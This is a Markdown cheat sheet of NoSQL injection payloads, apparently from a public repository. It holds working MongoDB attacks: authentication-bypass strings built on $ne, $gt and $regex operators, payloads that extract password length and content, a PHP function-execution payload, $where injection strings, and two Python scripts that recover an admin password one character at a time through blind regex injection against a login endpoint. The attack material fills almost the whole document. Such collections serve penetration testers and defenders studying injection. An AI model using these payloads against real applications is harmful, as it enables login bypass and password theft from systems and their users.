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143 lines
3.4 KiB
Markdown
143 lines
3.4 KiB
Markdown
## NoSQL injection
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## Tools
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* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap)
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## Exploit
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### Authentication Bypass
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Basic authentication bypass using not equal ($ne) or greater ($gt)
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```
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in the request
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- username[$ne]=toto&password[$ne]=toto
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- login[$regex]=a.*&pass[$ne]=lol
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- login[$gt]=admin&login[$lt]=test&pass[$ne]=1
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- login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
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```
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```json
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The output is
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{"username": {"$ne": null}, "password": {"$ne": null}}
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
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{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
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{"username": {"$gt":""}, "password": {"$gt":""}}
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```
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### Extract length information
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```json
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username[$ne]=toto&password[$regex]=.{1}
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username[$ne]=toto&password[$regex]=.{3}
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```
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### Extract data information
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```json
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in URL
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username[$ne]=toto&password[$regex]=m.{2}
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username[$ne]=toto&password[$regex]=md.{1}
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username[$ne]=toto&password[$regex]=mdp
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username[$ne]=toto&password[$regex]=m.*
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username[$ne]=toto&password[$regex]=md.*
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in JSON
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{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
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```
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### Extract data with "in"
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```json
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{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
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```
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### PHP Arbitrary Function Execution
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```json
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"user":{"$func": "var_dump"}
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```
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## Blind NoSQL
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### POST
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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u="http://example.org/login"
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headers={'content-type': 'application/json'}
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
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if 'OK' in r.text or r.status_code == 302:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### GET
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username='admin'
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password=''
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u='http://example.org/login'
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|', '#', '&', '$']:
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payload='?username=%s&password[$regex]=^%s' % (username, password + c)
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r = requests.get(u + payload)
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if 'Yeah' in r.text:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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Another example using sleep to check vuln or not
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```
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'%2bsleep(1)%2b'
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```
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### MongoDB Payloads
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```bash
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true, $where: '1 == 1'
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, $where: '1 == 1'
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$where: '1 == 1'
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', $where: '1 == 1'
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1, $where: '1 == 1'
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{ $ne: 1 }
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', $or: [ {}, { 'a':'a
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' } ], $comment:'successful MongoDB injection'
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db.injection.insert({success:1});
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db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
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|| 1==1
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' && this.password.match(/.*/)//+%00
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' && this.passwordzz.match(/.*/)//+%00
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'%20%26%26%20this.password.match(/.*/)//+%00
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'%20%26%26%20this.passwordzz.match(/.*/)//+%00
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{$gt: ''}
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[$ne]=1
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```
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## References
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* [Hacktricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection)
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* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/README.md) |